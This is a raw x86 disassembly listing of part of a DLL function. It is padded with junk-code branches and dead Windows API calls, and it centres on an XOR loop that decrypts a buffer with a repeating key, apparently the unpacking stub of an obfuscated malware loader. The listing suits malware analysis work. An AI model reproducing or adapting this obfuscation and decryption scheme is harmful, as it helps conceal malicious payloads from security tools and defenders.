mov dword [ebp - 0x3b8], 0xb7928fbc
mov eax, dword [ebp - 0x108]
add eax, dword [ebp - 0x3b8]
cmp eax, dword [ebp - 0x5a8]
jg 0x1000269b
mov dword [ebp - 0x3c0], 1
jmp 0x100026a2
and dword [ebp - 0x3c0], 0
cmp dword [ebp - 0x3c0], 0
jle 0x100026b7
mov dword [ebp - 0x508], 1
jmp 0x100026be
and dword [ebp - 0x508], 0
mov eax, dword [ebp - 0x108]
cmp dword [ebp - 0x508], eax
je 0x100026d8
mov dword [ebp - 0x3c8], 1
jmp 0x100026df
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x108]
cmp eax, dword [ebp - 0x3c8]
jl 0x100026f9
mov dword [ebp - 0x6a0], 1
jmp 0x10002700
and dword [ebp - 0x6a0], 0
lea ecx, [ebp - 0x914]
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x8b0], eax
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x6a8], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x7ec], 0
mov dword [ebp - 0x978], 0x97632667
mov dword [ebp - 0x7f4], 0xacd79536
push 2
call fcn.10005bc8
mov dword [ebp - 4], 7
mov dword [ebp - 0x808], 0xab6e
mov dword [ebp - 0x64], 0xfffffff9
mov dword [ebp - 0x60], 0xfffffff9
mov dword [ebp - 0x5c], 0xfffffff9
mov dword [ebp - 0x58], 0xfffffff9
mov dword [ebp - 0x648], 0x3cc9
mov dword [ebp - 0x1f8], 0
jmp 0x100027a1
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 2
jge 0x100027c3
lea ecx, [ebp - 0x914]
push dword [ebp - 0x1f8]
call fcn.10005c66
mov dword [eax], 0xfffffffe
jmp 0x10002794
lea ecx, [ebp - 0x914]
mov eax, dword [ebp - 0x648]
inc eax
mov dword [ebp - 0x648], eax
or dword [ebp - 4], 0xffffffff
call fcn.10005c4a
cmp dword [ebp - 0x2a0], 0
jle 0x100054b5
cmp dword [ebp - 0x2a0], 0x2d15
jge 0x100054b5
mov dword [ebp - 0x184], 4
mov eax, dword [ebp - 0x184]
add eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x6b0], eax
jmp 0x10002827
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x184]
cmp eax, dword [ebp - 0x6b0]
jge 0x10002bd2
mov dword [ebp - 0x250], 0x4a8c6a53
mov byte [ebp - 0x166], 0
movzx eax, byte [ebp - 0x166]
or eax, eax
je 0x1000285d
push 0
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [ebp - 0x250], 0
jmp 0x10002876
mov eax, dword [ebp - 0x250]
dec eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0xffffffe2
jge 0x100028b4
mov dword [ebp - 0x6b8], 0x288a137b
cmp dword [ebp - 0x6b8], 0
je 0x10002894
jmp 0x100028b4
mov byte [ebp - 0x159], 0
movzx eax, byte [ebp - 0x159]
test eax, eax
je 0x100028b2
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_Polyline]
jmp 0x10002869
mov eax, dword [ebp - 0x124]
add eax, dword [ebp - 0x184]
lea ecx, [ebp - 0x5d4]
mov al, byte [eax]
mov byte [ebp - 0x109], al
push 1
call fcn.10005bc8
mov dword [ebp - 4], 8
mov dword [ebp - 0x208], 0xffffffff
mov dword [ebp - 0x708], 0x9eb818f
mov dword [ebp - 0x200], 0
jmp 0x10002909
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 1
jge 0x1000292b
lea ecx, [ebp - 0x5d4]
push dword [ebp - 0x200]
call fcn.10005c66
mov dword [eax], 0x3ae35568
jmp 0x100028fc
push 0
lea ecx, [ebp - 0x5d4]
call fcn.10005c66
and dword [eax], 0
jmp 0x10002961
push 0
lea ecx, [ebp - 0x5d4]
call fcn.10005c66
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x3d0]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x3d0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x5d4]
call fcn.10005c66
cmp dword [eax], 0xffffffe2
jg 0x10002b78
lea ecx, [ebp - 0x658]
push 2
call fcn.10005bc8
mov byte [ebp - 4], 9
mov dword [ebp - 0x154], 0x98311173
mov dword [ebp - 0x3e8], 0x1a53fde7
mov dword [ebp - 0x290], 0
jmp 0x100029b5
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 2
jge 0x100029d7
push dword [ebp - 0x290]
lea ecx, [ebp - 0x658]
call fcn.10005c66
mov dword [eax], 0xfffffff7
jmp 0x100029a8
mov dword [ebp - 0x154], 0
jmp 0x100029f0
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 2
jge 0x10002a12
lea ecx, [ebp - 0x658]
push dword [ebp - 0x154]
call fcn.10005c66
mov dword [eax], 0xb659d568
jmp 0x100029e3
push 0
lea ecx, [ebp - 0x5d4]
call fcn.10005c66
lea ecx, [ebp - 0x658]
mov eax, dword [eax]
mov dword [ebp - 0x154], eax
mov esi, dword [ebp - 0x154]
push 0
call fcn.10005c66
cmp esi, dword [eax]
jg 0x10002a4a
mov dword [ebp - 0x5b0], 1
jmp 0x10002a51
and dword [ebp - 0x5b0], 0
mov eax, 0x615e82aa
test eax, eax
je 0x10002adf
push 0
lea ecx, [ebp - 0x5d4]
call fcn.10005c66
imul eax, dword [eax], 0xac01
cmp eax, 0x9ae4f78d
ja 0x10002a84
mov dword [ebp - 0x510], 1
jmp 0x10002a8b
and dword [ebp - 0x510], 0
mov esi, dword [ebp - 0x510]
lea ecx, [ebp - 0x5d4]
add esi, 0xfffffffd
push 0
call fcn.10005c66
cmp esi, dword [eax]
jg 0x10002ab1
mov dword [ebp - 0x3d8], 1
jmp 0x10002ab8
and dword [ebp - 0x3d8], 0
mov eax, dword [ebp - 0x3d8]
sub eax, dword [ebp - 0x208]
cmp eax, dword [ebp - 0x208]
je 0x10002adf
push 7
pop eax
test eax, eax
je 0x10002adf
mov dword [ebp - 0x6d0], 1
jmp 0x10002ae6
and dword [ebp - 0x6d0], 0
lea ecx, [ebp - 0x658]
push 0
call fcn.10005c66
mov esi, dword [ebp - 0x208]
push 1
lea ecx, [ebp - 0x658]
call fcn.10005c66
mov ecx, dword [ebp - 0x208]
imul ecx, dword [eax]
cmp esi, ecx
jne 0x10002b1f
mov dword [ebp - 0x3e0], 1
jmp 0x10002b26
and dword [ebp - 0x3e0], 0
mov eax, dword [ebp - 0x5b0]
sub eax, dword [ebp - 0x3e0]
cmp eax, 0xa83a
jge 0x10002b45
mov dword [ebp - 0x518], 1
jmp 0x10002b4c
and dword [ebp - 0x518], 0
lea ecx, [ebp - 0x658]
mov eax, dword [ebp - 0x518]
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x708], eax
mov byte [ebp - 4], 8
call fcn.10005c4a
jmp 0x1000293d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5d4]
call fcn.10005c4a
movzx ecx, byte [ebp - 0xe1]
movzx eax, byte [ebp - 0x109]
xor eax, ecx
movzx ecx, al
mov eax, dword [ebp - 0x184]
cdq
idiv dword [ebp - 0x2d0]
mov eax, dword [ebp - 0x1ac]
movzx eax, byte [eax + edx]
xor ecx, eax
mov eax, dword [ebp - 0x124]
add eax, dword [ebp - 0x184]
mov byte [eax], cl
mov al, byte [ebp - 0x109]
mov byte [ebp - 0xe1], al
jmp 0x1000281a
lea ecx, [ebp - 0x664]
push 4
call fcn.10005bc8
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x12c], 0
jmp 0x10002bff
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 4
jge 0x10002c21
push dword [ebp - 0x12c]
lea ecx, [ebp - 0x664]
call fcn.10005c66
mov dword [eax], 4
jmp 0x10002bf2
mov dword [ebp - 0x12c], 0
jmp 0x10002c3a
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 1
jge 0x10002c56
mov eax, dword [ebp - 0x12c]
mov dword [ebp + eax*4 - 0x120], 0xe1e87df2
jmp 0x10002c2d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x120], 3
jmp 0x10002c84
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x120]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x120], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x120], 0
jl 0x10002e69
mov dword [ebp - 0x1a4], 0x801fc3ee
mov dword [ebp - 0x1b8], 1
mov byte [ebp - 0x17a], 0
movzx eax, byte [ebp - 0x17a]
test eax, eax
je 0x10002cc6
push 0
call dword [sym.imp.USER32.dll_GetCursorPos]
mov dword [ebp - 0x1a4], 3
jmp 0x10002cdf
mov eax, dword [ebp - 0x1a4]
dec eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0
jl 0x10002e64
lea ecx, [ebp - 0x664]
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x7fc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x120]
mov dword [ebp - 0x80c], eax
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x120]
call fcn.10005c66
lea ecx, [ebp - 0x664]
push 4
mov esi, eax
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x120]
call fcn.10005c66
lea ecx, [ebp - 0x664]
push 4
mov edi, eax
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x120]
call fcn.10005c66
mov ecx, dword [edi]
sub ecx, dword [eax]
add ecx, dword [esi]
cmp ecx, dword [ebp - 0x1a4]
jne 0x10002d71
mov dword [ebp - 0x610], 1
jmp 0x10002d78
and dword [ebp - 0x610], 0
cmp dword [ebp - 0x610], 1
jge 0x10002d8d
mov dword [ebp - 0x3f0], 1
jmp 0x10002d94
and dword [ebp - 0x3f0], 0
push 4
pop eax
mov ecx, dword [ebp - 0x3f0]
imul eax, eax, 0
sub ecx, dword [ebp + eax - 0x120]
jne 0x10002db2
cmp dword [ebp - 0x1b8], 0
je 0x10002dd9
lea ecx, [ebp - 0x664]
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x120]
call fcn.10005c66
cmp dword [eax], 0
je 0x10002dd4
jmp 0x10002e64
jmp 0x10002e5f
mov byte [ebp - 0x158], 0
movzx eax, byte [ebp - 0x158]
or eax, eax
je 0x10002df3
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 0x1b8], 0
jmp 0x10002e0c
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 3
jg 0x10002e5f
mov dword [ebp - 0x258], 0xfffffff8
mov dword [ebp - 0x258], 3
jmp 0x10002e38
mov eax, dword [ebp - 0x258]
dec eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0
jl 0x10002e5d
mov byte [ebp - 0x17c], 0
movzx eax, byte [ebp - 0x17c]
or eax, eax
je 0x10002e5b
push 0
call dword [sym.imp.GDI32.dll_RealizePalette]
jmp 0x10002e2b
jmp 0x10002dff
jmp 0x10002cd2
jmp 0x10002c69
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x664]
call fcn.10005c4a
mov ecx, 0x10032580
call fcn.10005d1b
lea ecx, [ebp - 0x5e4]
mov dword [ebp - 0x218], 0
push 2
call fcn.10005bc8
mov dword [ebp - 4], 0xb
mov dword [ebp - 0xf4], 0xfffffffb
mov dword [ebp - 0x2d8], 0xffffffff
mov dword [ebp - 0x718], 0x7106cf36
mov dword [ebp - 0x210], 0
jmp 0x10002ed7
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 2
jge 0x10002ef9
push dword [ebp - 0x210]
lea ecx, [ebp - 0x5e4]
call fcn.10005c66
mov dword [eax], 0xb14f4e79
jmp 0x10002eca
push 0
lea ecx, [ebp - 0x5e4]
call fcn.10005c66
cmp dword [eax], 0
jg 0x10002f17
mov dword [ebp - 0x520], 1
jmp 0x10002f1e
and dword [ebp - 0x520], 0
push 0
lea ecx, [ebp - 0x5e4]
call fcn.10005c66
mov ecx, dword [ebp - 0x520]
add ecx, dword [eax]
mov dword [ebp - 0x3f8], ecx
push 1
lea ecx, [ebp - 0x5e4]
call fcn.10005c66
mov ecx, dword [ebp - 0x3f8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3f8]
sub eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0xf4]
jg 0x10002f6e
mov dword [ebp - 0x5b8], 1
jmp 0x10002f75
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x5b8]
neg eax
cmp eax, dword [ebp - 0xf4]
jge 0x10002f91
mov dword [ebp - 0x400], 1
jmp 0x10002f98
and dword [ebp - 0x400], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x400], eax
jle 0x10002fb2
mov dword [ebp - 0x528], 1
jmp 0x10002fb9
and dword [ebp - 0x528], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x528], eax
je 0x10002fd3
mov dword [ebp - 0x408], 1
jmp 0x10002fda
and dword [ebp - 0x408], 0
mov dword [ebp - 0x218], 1
mov eax, dword [ebp - 0x218]
imul eax, dword [ebp - 0x408]
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf4], 0x18
jmp 0x10003010
mov eax, dword [ebp - 0xf4]
dec eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0xffffffff
jg 0x10003228
mov dword [ebp - 0x630], 0xfffffffd
mov dword [ebp - 0x530], 0x2d4ad446
mov dword [ebp - 0x280], 0
jmp 0x1000304a
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 3
jge 0x10003063
mov eax, dword [ebp - 0x280]
mov dword [ebp + eax*4 - 0x34], 0xffffffff
jmp 0x1000303d
mov byte [ebp - 0x157], 0
movzx eax, byte [ebp - 0x157]
or eax, eax
je 0x10003083
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetTimer]
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x34]
push 4
pop ecx
shl ecx, 0
imul ecx, dword [ebp + ecx - 0x34], 0x6fd0
sub eax, ecx
lea ecx, [ebp - 0x5e4]
mov dword [ebp - 0x630], eax
mov esi, dword [ebp - 0x630]
push 0
call fcn.10005c66
mov dword [eax], esi
lea ecx, [ebp - 0x5e4]
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x34]
push 0
call fcn.10005c66
cmp esi, dword [eax]
jl 0x100030df
mov dword [ebp - 0x710], 1
jmp 0x100030e6
and dword [ebp - 0x710], 0
push 1
lea ecx, [ebp - 0x5e4]
call fcn.10005c66
push 4
mov eax, dword [eax]
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x34]
cmp eax, dword [ebp - 0xf4]
jg 0x10003113
mov dword [ebp - 0x410], 1
jmp 0x1000311a
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0x410]
mov dword [ebp - 0x530], eax
mov eax, dword [ebp - 0x530]
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0
jne 0x1000314d
cmp dword [ebp - 0xf4], 0
jne 0x1000314d
and dword [ebp - 0x418], 0
jmp 0x10003157
mov dword [ebp - 0x418], 1
cmp dword [ebp - 0x418], 0xeac84c92
jbe 0x1000316c
cmp dword [ebp - 0xf4], 0
je 0x10003181
cmp dword [ebp - 0x2d8], 0
je 0x10003181
mov dword [ebp - 0x5c0], 1
jmp 0x10003188
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 0x218]
cmp dword [ebp - 0x5c0], eax
je 0x100031a8
mov eax, 0x785b
test eax, eax
jne 0x100031a8
and dword [ebp - 0x420], 0
jmp 0x100031b2
mov dword [ebp - 0x420], 1
mov eax, dword [ebp - 0x218]
cmp dword [ebp - 0x420], eax
jne 0x100031cc
mov dword [ebp - 0x538], 1
jmp 0x100031d3
and dword [ebp - 0x538], 0
cmp dword [ebp - 0x538], 0xa798
jg 0x100031eb
mov dword [ebp - 0x428], 1
jmp 0x100031f2
and dword [ebp - 0x428], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x34]
cmp eax, dword [ebp - 0x428]
jl 0x10003210
mov dword [ebp - 0x618], 1
jmp 0x10003217
and dword [ebp - 0x618], 0
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0x718], eax
jmp 0x10003003
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5e4]
call fcn.10005c4a
and dword [ebp - 0x150], 0
mov eax, dword [ebp - 0x124]
add eax, 4
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x114], 3
mov dword [ebp - 0x118], 0xfffffff8
mov dword [ebp - 0x19c], 0x3e8ce6fc
mov dword [ebp - 0xf0], 0
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x804], eax
xor eax, eax
inc eax
jne 0x100033b1
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x118], 0
jle 0x100032ab
mov dword [ebp - 0x430], 1
jmp 0x100032b2
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x430]
sub eax, dword [ebp - 0x118]
cmp dword [ebp - 0x114], eax
jne 0x100032e4
mov eax, 0x67356a0b
or eax, eax
jne 0x100032e4
and dword [ebp - 0x720], 0
jmp 0x100032ee
mov dword [ebp - 0x720], 1
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x81c], eax
push 2
pop eax
test eax, eax
jne 0x10003313
mov eax, 0xfc2f92e6
test eax, eax
jne 0x10003313
and dword [ebp - 0x540], 0
jmp 0x1000331d
mov dword [ebp - 0x540], 1
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0x540], eax
je 0x1000333d
cmp dword [ebp - 0xf0], 0
jne 0x1000333d
and dword [ebp - 0x438], 0
jmp 0x10003347
mov dword [ebp - 0x438], 1
mov eax, dword [ebp - 0x438]
sub eax, dword [ebp - 0x118]
cmp eax, dword [ebp - 0xf0]
jl 0x10003367
mov dword [ebp - 0x5c8], 1
jmp 0x1000336e
and dword [ebp - 0x5c8], 0
mov eax, dword [ebp - 0x5c8]
add eax, 0x279
jne 0x10003389
xor eax, eax
inc eax
jne 0x10003389
and dword [ebp - 0x728], 0
jmp 0x10003393
mov dword [ebp - 0x728], 1
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x810], eax
mov eax, 0xc0a9
or eax, eax
jne 0x100033b1
and dword [ebp - 0x730], 0
jmp 0x100033bb
mov dword [ebp - 0x730], 1
mov eax, dword [ebp - 0x19c]
neg eax
je 0x100033da
cmp dword [ebp - 0x114], 0
je 0x100033da
mov dword [ebp - 0x440], 1
jmp 0x100033e1
and dword [ebp - 0x440], 0
cmp dword [ebp - 0x440], 0
jb 0x100035f8
mov dword [ebp - 0x548], 0xffffffff
mov dword [ebp - 0x2e0], 0
mov dword [ebp - 0x260], 0xc38db075
mov dword [ebp - 0x470], 0xd7aff79c
mov dword [ebp - 0x548], 0xffffffff
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x948], eax
mov eax, dword [ebp - 0x548]
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x114], 0
jne 0x10003454
mov dword [ebp - 0x2e0], 0xf60700c0
cmp dword [ebp - 0x2e0], 0
je 0x10003469
cmp dword [ebp - 0x2e0], 0
je 0x10003469
mov dword [ebp - 0x448], 1
jmp 0x10003470
and dword [ebp - 0x448], 0
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0x448], eax
jne 0x1000348a
mov dword [ebp - 0x640], 1
jmp 0x10003491
and dword [ebp - 0x640], 0
mov eax, dword [ebp - 0x640]
sub eax, 0x8610f121
cmp eax, dword [ebp - 0x260]
jl 0x100034b0
mov dword [ebp - 0x450], 1
jmp 0x100034b7
and dword [ebp - 0x450], 0
mov eax, dword [ebp - 0x450]
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0xe00c2553
ja 0x100034db
mov dword [ebp - 0x550], 1
jmp 0x100034e2
and dword [ebp - 0x550], 0
cmp dword [ebp - 0x550], 9
jne 0x100034f7
mov dword [ebp - 0x738], 1
jmp 0x100034fe
and dword [ebp - 0x738], 0
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x8c0], eax
mov eax, dword [ebp - 0x19c]
cmp dword [ebp - 0x118], eax
jg 0x10003524
mov dword [ebp - 0x458], 1
jmp 0x1000352b
and dword [ebp - 0x458], 0
mov eax, dword [ebp - 0x458]
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0
jne 0x1000354e
xor eax, eax
inc eax
jne 0x1000354e
and dword [ebp - 0x5d8], 0
jmp 0x10003558
mov dword [ebp - 0x5d8], 1
mov eax, dword [ebp - 0x470]
cmp dword [ebp - 0x5d8], eax
jg 0x10003572
mov dword [ebp - 0x460], 1
jmp 0x10003579
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x460], eax
jl 0x10003593
mov dword [ebp - 0x558], 1
jmp 0x1000359a
and dword [ebp - 0x558], 0
imul eax, dword [ebp - 0x558], 0x69e
cmp eax, dword [ebp - 0x114]
jge 0x100035bf
push 4
pop eax
or eax, eax
je 0x100035bf
mov dword [ebp - 0x468], 1
jmp 0x100035c6
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0x468], eax
jg 0x100035e0
mov dword [ebp - 0x5ec], 1
jmp 0x100035e7
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x5ec]
mov dword [ebp - 0x470], eax
jmp 0x1000372a
push 2
lea ecx, [ebp - 0x760]
call fcn.10005bc8
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x740], 0xde7e8591
mov dword [ebp - 0x220], 0
jmp 0x1000362f
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 2
jge 0x10003651
push dword [ebp - 0x220]
lea ecx, [ebp - 0x760]
call fcn.10005c66
mov dword [eax], 0x1bda
jmp 0x10003622
mov byte [ebp - 0x168], 0
movzx eax, byte [ebp - 0x168]
test eax, eax
je 0x1000366b
push 0
call dword [sym.imp.USER32.dll_MessageBoxIndirectA]
lea ecx, [ebp - 0x760]
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x820], eax
mov esi, dword [ebp - 0x118]
push 0
call fcn.10005c66
sub esi, dword [eax]
cmp esi, 0x1d5e
jl 0x100036a0
mov dword [ebp - 0x560], 1
jmp 0x100036a7
and dword [ebp - 0x560], 0
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x990], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x828], eax
mov eax, dword [ebp - 0xf0]
sub eax, 0xfffffffd
cmp dword [ebp - 0x560], eax
jge 0x100036dc
mov dword [ebp - 0x478], 1
jmp 0x100036e3
and dword [ebp - 0x478], 0
mov eax, dword [ebp - 0x19c]
lea ecx, [ebp - 0x760]
imul eax, dword [ebp - 0x478]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x7bc], eax
push 1
call fcn.10005c66
mov eax, dword [ebp - 0x740]
lea ecx, [ebp - 0x760]
mov dword [ebp - 0x114], eax
or dword [ebp - 4], 0xffffffff
call fcn.10005c4a
mov dword [ebp - 0xf0], 0
jmp 0x10003743
mov eax, dword [ebp - 0xf0]
dec eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0xfffffff2
jge 0x10003779
mov dword [ebp - 0x748], 0xf528
mov dword [ebp - 0x6ec], 0xae7be98b
mov eax, dword [ebp - 0x748]
mov dword [ebp - 0x6ec], eax
cmp dword [ebp - 0xf0], 0
je 0x10003777
jmp 0x10003736
jmp 0x10003736
mov eax, dword [ebp - 0x2a0]
shr eax, 1
mov dword [ebp - 0x724], eax
mov eax, dword [ebp - 0x150]
inc eax
cmp eax, dword [ebp - 0x724]
jae 0x100054b5
mov dword [ebp - 0xfc], 0xfffffffc
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 0x164], 0
push 1
call fcn.10005bc8
lea ecx, [ebp - 0x67c]
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x490], 1
mov dword [ebp - 0x5e8], 0xfffffffd
push 1
call fcn.10005bc8
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x110], 0xaee50770
mov dword [ebp - 0x488], 0x59ff446c
mov dword [ebp - 0x144], 0xffffffff
mov dword [ebp - 0x130], 0
jmp 0x1000381e
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 1
jge 0x10003840
lea ecx, [ebp - 0x1c8]
push dword [ebp - 0x130]
call fcn.10005c66
mov dword [eax], 0x2e65251c
jmp 0x10003811
mov dword [ebp - 0x130], 0
jmp 0x10003859
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 1
jge 0x10003878
push dword [ebp - 0x130]
lea ecx, [ebp - 0x67c]
call fcn.10005c66
and dword [eax], 0
jmp 0x1000384c
cmp dword [ebp - 0x164], 0
jne 0x100038e3
mov eax, 0xb76d
test eax, eax
jne 0x100038e3
mov dword [ebp - 0x5e8], 1
lea ecx, [ebp - 0x67c]
mov eax, dword [ebp - 0x5e8]
imul eax, dword [ebp - 0xfc]
mov dword [ebp - 0x480], eax
push 0
call fcn.10005c66
mov ecx, dword [ebp - 0x480]
mov dword [eax], ecx
lea ecx, [ebp - 0x67c]
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x110], eax
push 0
call fcn.10005c66
cmp dword [eax], 0
jne 0x100038e3
and dword [ebp - 0x568], 0
jmp 0x100038ed
mov dword [ebp - 0x568], 1
mov eax, dword [ebp - 0x568]
mov dword [ebp - 0x488], eax
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x488], eax
jge 0x10003913
mov dword [ebp - 0x5f4], 1
jmp 0x1000391a
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0x5f4]
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x490], 0
jne 0x1000393b
mov dword [ebp - 0x6e4], 1
jmp 0x10003942
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0xfc]
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 0x830], eax
push 0
call fcn.10005c66
mov esi, dword [ebp - 0xfc]
lea ecx, [ebp - 0x1c8]
push 0
call fcn.10005c66
imul esi, dword [eax]
sub esi, dword [ebp - 0xfc]
je 0x10003998
mov byte [ebp - 0x15b], 0
movzx eax, byte [ebp - 0x15b]
test eax, eax
je 0x10003993
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x10003e4f
mov dword [ebp - 0x5f8], 0xebc5f7c0
mov dword [ebp - 0x110], 0
jmp 0x100039bb
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jg 0x10003c0e
lea ecx, [ebp - 0x2c9]
mov dword [ebp - 0x1b4], 0x7919
mov dword [ebp - 0xcc], 0xf4bb
mov dword [ebp - 0xc8], 0xf4bb
mov dword [ebp - 0xc4], 0xf4bb
mov dword [ebp - 0xc0], 0xf4bb
call fcn.10005c75
lea ecx, [ebp - 0x9bc]
push eax
lea eax, [ebp - 0xbc]
push eax
lea eax, [ebp - 0xcc]
push eax
call fcn.10005c78
lea ecx, [ebp - 0x924]
push dword [eax + 4]
push dword [eax]
call fcn.10005c24
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 0x54], 0x7d7132c2
mov dword [ebp - 0x50], 0x7d7132c2
mov dword [ebp - 0x4c], 0x7d7132c2
mov dword [ebp - 0x48], 0x7d7132c2
push dword [ebp - 0x110]
call fcn.10005c66
lea ecx, [ebp - 0x1c8]
push dword [ebp - 0x110]
call fcn.10005c66
mov ecx, dword [ebp - 0x490]
cmp dword [eax], ecx
jne 0x10003a87
mov dword [ebp - 0x570], 1
jmp 0x10003a8e
and dword [ebp - 0x570], 0
mov eax, dword [ebp - 0x1b4]
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 0x958], eax
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x838], eax
push dword [ebp - 0x110]
call fcn.10005c66
cmp dword [eax], 0xfce88636
jb 0x10003acb
mov dword [ebp - 0x498], 1
jmp 0x10003ad2
and dword [ebp - 0x498], 0
mov eax, dword [ebp - 0x570]
cmp eax, dword [ebp - 0x498]
jne 0x10003aec
mov dword [ebp - 0x68c], 1
jmp 0x10003af3
and dword [ebp - 0x68c], 0
lea ecx, [ebp - 0x67c]
push 0
call fcn.10005c66
mov ecx, dword [ebp - 0x1b4]
cmp dword [eax], ecx
jg 0x10003b28
lea ecx, [ebp - 0x924]
push 3
call fcn.10005c66
cmp dword [eax], 0
je 0x10003b28
mov dword [ebp - 0x5fc], 1
jmp 0x10003b2f
and dword [ebp - 0x5fc], 0
